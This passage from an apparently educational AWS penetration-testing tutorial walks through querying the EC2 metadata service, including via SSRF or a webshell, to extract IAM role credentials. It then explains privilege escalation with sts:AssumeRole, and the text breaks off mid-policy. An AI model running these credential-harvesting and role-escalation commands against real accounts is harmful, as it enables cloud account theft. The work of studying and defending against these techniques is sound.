to:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;First obtain a &lt;strong&gt;temporary token&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;Use that token for subsequent requests&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;Check whether IMDSv2 is enabled&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -X PUT &amp;#34;http://169.254.169.254/latest/api/token&amp;#34; -H &amp;#34;X-aws-ec2-metadata-token-ttl-seconds: 21600&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Normally, using curl directly is enough. As mentioned above, however, if &lt;strong&gt;IMDSv2&lt;/strong&gt; is enabled, you first need to obtain a token and then use it to request the metadata, as shown below.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0001.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Receiving a token means that &lt;strong&gt;IMDSv2 is enabled&lt;/strong&gt;, and you must use this token to access the metadata.&lt;/p&gt;&#10;&lt;p&gt;Once you have the token, you simply add it in a request header. Following the steps above, add the token to the request:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -H &amp;#34;X-aws-ec2-metadata-token: $TOKEN&amp;#34; http://169.254.169.254/latest/meta-data/&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;If you are working through SSRF or a non-interactive webshell, this kind of variable may not work, so you can simply copy and paste the value yourself. For this exercise, setting a variable is more convenient.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TOKEN=$(curl -X PUT &amp;#34;http://169.254.169.254/latest/api/token&amp;#34; -H &amp;#34;X-aws-ec2-metadata-token-ttl-seconds: 21600&amp;#34;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -H &amp;#34;X-aws-ec2-metadata-token: $TOKEN&amp;#34; http://169.254.169.254/latest/meta-data/&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0002.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It worked, but no IAM role is attached, so an IAM role must be attached before credentials can be retrieved.&#10;The AWS basics section covered some of the process for attaching an IAM role to EC2, but did not spend much time on how it works.&#10;Suppose we have an EC2 instance that needs to access an S3 bucket. It might be running a web service that needs to move locally stored files into the bucket, write data to the bucket, or back up the website to the bucket every day. Those are all backend details; the point is that this EC2 instance needs to access S3.&lt;/p&gt;&#10;&lt;p&gt;Normally, couldn&amp;rsquo;t we just create a user, obtain its two keys, and use those to access the S3 bucket? To reduce the risk, we could grant that user only S3 permissions. This is convenient, but it has few advantages and many drawbacks. First, if an attacker gets a webshell and finds the keys, they can retain long-term access to S3. Second, if access to other services is needed, manually rotating keys becomes costly and requires people to interact with APIs, among other drawbacks. The only advantage is that SSRF cannot read the keys; the disadvantage is that an arbitrary file-read vulnerability can.&lt;/p&gt;&#10;&lt;p&gt;With an attached role, you simply attach whatever permissions are needed and can leave the role attached. One advantage is that the keys are valid for only one hour. Once the vulnerability is fixed, an attacker cannot maintain long-term control over S3. You might think that calling S3 and other services from EC2 would still require obtaining a token and then requesting temporary credentials through the API, which sounds troublesome. In practice, the AWS CLI automatically retrieves the credentials and related information when you make an S3 request, so no additional steps are needed. The drawback is that SSRF can read them. Now let&amp;rsquo;s put this into practice.&lt;/p&gt;&#10;&lt;h3 id="attaching-an-iam-role-to-ec2"&gt;&lt;a href="#attaching-an-iam-role-to-ec2" class="header-anchor"&gt;&lt;/a&gt;Attaching an IAM Role to EC2&#10;&lt;/h3&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0003.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0004.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0005.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0006.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0007.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Select the role you just created and update the instance. Next, let&amp;rsquo;s look at the buckets.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0008.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problems here: there is one bucket for storing logs and another bucket created while learning the basics. Both can be accessed directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0009.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The environment is ready. Next, here are the EC2 metadata service endpoints. We already covered the ordinary commands earlier, so there is no need to repeat that process. The main scenarios here are webshells and SSRF.&lt;/p&gt;&#10;&lt;h3 id="important-ec2-metadata-service-endpoints"&gt;&lt;a href="#important-ec2-metadata-service-endpoints" class="header-anchor"&gt;&lt;/a&gt;Important EC2 Metadata Service Endpoints&#10;&lt;/h3&gt;&lt;p&gt;For this exercise, let&amp;rsquo;s generate the token first.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TOKEN=$(curl -X PUT &amp;#34;http://169.254.169.254/latest/api/token&amp;#34; -H &amp;#34;X-aws-ec2-metadata-token-ttl-seconds: 21600&amp;#34;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;EC2 metadata lives under &lt;code&gt;http://169.254.169.254/latest/meta-data/&lt;/code&gt; and all key information can be retrieved from there.&lt;/p&gt;&#10;&lt;table&gt;&#10;&#9;&lt;thead&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;Endpoint&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;Purpose&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;IMDS v1&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;IMDS v2&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/thead&gt;&#10;&#9;&lt;tbody&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;/latest/meta-data/&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Retrieve the directory of all available metadata&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl http://169.254.169.254/latest/meta-data/&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; http://169.254.169.254/latest/meta-data/&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;/latest/meta-data/iam/security-credentials/&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;List IAM role names&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;/latest/meta-data/iam/security-credentials/{role-name}&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Retrieve temporary credentials for an IAM role&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl http://169.254.169.254/latest/meta-data/iam/security-credentials/{role-name}&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; http://169.254.169.254/latest/meta-data/iam/security-credentials/{role-name}&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;/latest/meta-data/instance-id&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Retrieve the instance ID&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl http://169.254.169.254/latest/meta-data/instance-id&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; http://169.254.169.254/latest/meta-data/instance-id&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;/latest/meta-data/public-ipv4&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Retrieve the instance&amp;rsquo;s public IP&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl http://169.254.169.254/latest/meta-data/public-ipv4&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; http://169.254.169.254/latest/meta-data/public-ipv4&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;/latest/meta-data/local-ipv4&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Retrieve the instance&amp;rsquo;s private IP&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl http://169.254.169.254/latest/meta-data/local-ipv4&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; http://169.254.169.254/latest/meta-data/local-ipv4&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;/latest/meta-data/mac&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Retrieve the instance&amp;rsquo;s MAC address&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl http://169.254.169.254/latest/meta-data/mac&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; http://169.254.169.254/latest/meta-data/mac&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;/latest/meta-data/network/interfaces/macs/{mac}/vpc-id&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Retrieve the VPC ID&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl http://169.254.169.254/latest/meta-data/network/interfaces/macs/{mac}/vpc-id&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; http://169.254.169.254/latest/meta-data/network/interfaces/macs/{mac}/vpc-id&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0010.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Everything works. If you are interested in the other endpoints, you can test them yourself.&lt;/p&gt;&#10;&lt;h2 id="iam-penetration-testing-role-switching--permission-abuse"&gt;&lt;a href="#iam-penetration-testing-role-switching--permission-abuse" class="header-anchor"&gt;&lt;/a&gt;IAM Penetration Testing (Role Switching &amp;amp; Permission Abuse)&#10;&lt;/h2&gt;&lt;p&gt;In AWS cloud penetration testing, many AWS resources (EC2, Lambda) have an IAM role attached by default, but these roles usually have &lt;strong&gt;minimal permissions&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;p&gt;However, &lt;strong&gt;some IAM roles may be able to Assume (take on) a more privileged role!&lt;/strong&gt;&#10;&lt;strong&gt;If an attacker finds one of these roles, they can gain a higher level of access&lt;/strong&gt;, or even become an AWS administrator.&lt;/p&gt;&#10;&lt;p&gt;IAM penetration testing mainly involves &lt;strong&gt;four core techniques&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&lt;code&gt;sts:AssumeRole&lt;/code&gt; &lt;strong&gt;role switching&lt;/strong&gt; → gain higher privileges&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;iam:PassRole&lt;/code&gt; &lt;strong&gt;permission abuse&lt;/strong&gt; → bypass access controls&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;iam:GetPolicyVersion&lt;/code&gt; &lt;strong&gt;policy reading&lt;/strong&gt; → find permissions that can be abused&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;iam:CreateAccessKey&lt;/code&gt; &lt;strong&gt;creating a new key&lt;/strong&gt; → maintain persistent control over an AWS account&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;h3 id="role-switching-with-stsassumerole"&gt;&lt;a href="#role-switching-with-stsassumerole" class="header-anchor"&gt;&lt;/a&gt;Role Switching with sts:AssumeRole&#10;&lt;/h3&gt;&lt;h4 id="theory"&gt;&lt;a href="#theory" class="header-anchor"&gt;&lt;/a&gt;Theory&#10;&lt;/h4&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;AssumeRole&lt;/code&gt; &lt;strong&gt;allows one IAM role to “become” another IAM role&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;This means &lt;strong&gt;a low-privileged user may be able to switch to a high-privileged one&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;If an attacker can find a high-privileged role that can be assumed, they can &lt;strong&gt;use it to escalate their privileges&lt;/strong&gt;!&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws sts assume-role --role-arn &amp;#34;arn:aws:iam::123456789012:role/AdminRole&amp;#34; --role-session-name attacker-session&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;If it succeeds, AWS returns &lt;strong&gt;a new set of temporary credentials&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Credentials&amp;#34;: {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;AccessKeyId&amp;#34;: &amp;#34;ASIA...&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SecretAccessKey&amp;#34;: &amp;#34;SECRET...&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SessionToken&amp;#34;: &amp;#34;TOKEN...&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Expiration&amp;#34;: &amp;#34;2025-03-04T00:00:00Z&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;In AWS, &lt;strong&gt;AssumeRole allows one IAM role to “become” another IAM role&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;p&gt;🔹 &lt;strong&gt;Why is this important?&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;AWS does not let ordinary users access the &lt;code&gt;Administrator&lt;/code&gt; role directly, but some IAM roles can &lt;code&gt;Assume&lt;/code&gt; (switch to) a more privileged role.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;If your role has&lt;/strong&gt; &lt;code&gt;sts:AssumeRole&lt;/code&gt; &lt;strong&gt;permission, you can “become” an administrator!&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;🔹 &lt;strong&gt;How does it work?&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;A low-privileged role (your current &lt;code&gt;EC2S3AccessRole&lt;/code&gt;) &lt;strong&gt;requests AssumeRole&lt;/strong&gt;, and AWS returns &lt;strong&gt;a set of temporary credentials&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;With these new credentials&lt;/strong&gt;, you can become a more privileged IAM role and access restricted resources.&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;That is the theoretical framework. To put the idea in order: &lt;strong&gt;if you have&lt;/strong&gt; &lt;code&gt;sts:AssumeRole&lt;/code&gt; &lt;strong&gt;permission, you can switch to an administrator role&lt;/strong&gt;. But what if the current user does not have &lt;code&gt;sts:AssumeRole&lt;/code&gt; permission? You need to find an IAM role that does, and that role must trust the IAM identity you currently hold before you can switch to it. Next, let’s build the lab.&lt;/p&gt;&#10;&lt;p&gt;Make sure you read this part: it is a little complicated, and I only spotted the problem toward the end of reproducing it. Having &lt;code&gt;sts:AssumeRole&lt;/code&gt; permission alone does not let you switch to any user you like. The prerequisite is that the high-privileged role trusts the low-privileged role and the low-privileged role has &lt;code&gt;sts:AssumeRole&lt;/code&gt; permission. That permission merely allows you to switch roles, nothing more. It is a bit like Linux: you first need permission to use &lt;code&gt;su&lt;/code&gt;, and the other user also needs to let you use &lt;code&gt;su&lt;/code&gt; without a password. It is a little awkward, so I reworked the lab setup tutorial below.&lt;/p&gt;&#10;&lt;h4 id="lab-setup"&gt;&lt;a href="#lab-setup" class="header-anchor"&gt;&lt;/a&gt;Lab Setup&#10;&lt;/h4&gt;&lt;p&gt;Add permissions to the previously created EC2S3AccessRole so it can list roles and inspect trust relationships. This lets EC2S3AccessRole find out which roles trust it. Then give it &lt;code&gt;sts:AssumeRole&lt;/code&gt; permission so it has the equivalent of an &lt;code&gt;su&lt;/code&gt; capability.&lt;/p&gt;&#10;&lt;p&gt;EC2S3AccessRole needs permission to list roles. Without it, the role will not know who trusts it, will not be able to find the ARN, and will not be able to switch to a role that both trusts it and can be assumed through &lt;code&gt;sts:AssumeRole&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;The steps are as follows:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0011.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0012.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0013.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Search for IAM in the relevant section, then select ListRoles and GetRole. You can also use the JSON editor on the right; entering the configuration below there works just as well.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&amp;#34;Version&amp;#34;: &amp;#34;2012-10-17&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&amp;#34;Statement&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&#9;&amp;#34;Sid&amp;#34;: &amp;#34;VisualEditor0&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&#9;&amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&#9;&amp;#34;Action&amp;#34;: &amp;#34;iam:GetRole&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&#9;&amp;#34;Resource&amp;#34;: &amp;#34;arn:aws:iam::6502*******:role/*&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;},&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&#9;&amp;#34;Sid&amp;#34;: &amp;#34;VisualEditor1&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&#9;&amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&#9;&amp;#34;Action&amp;#34;: &amp;#34;iam:ListRoles&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&#9;&amp;#34;Resource&amp;#34;: &amp;#34;*&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span 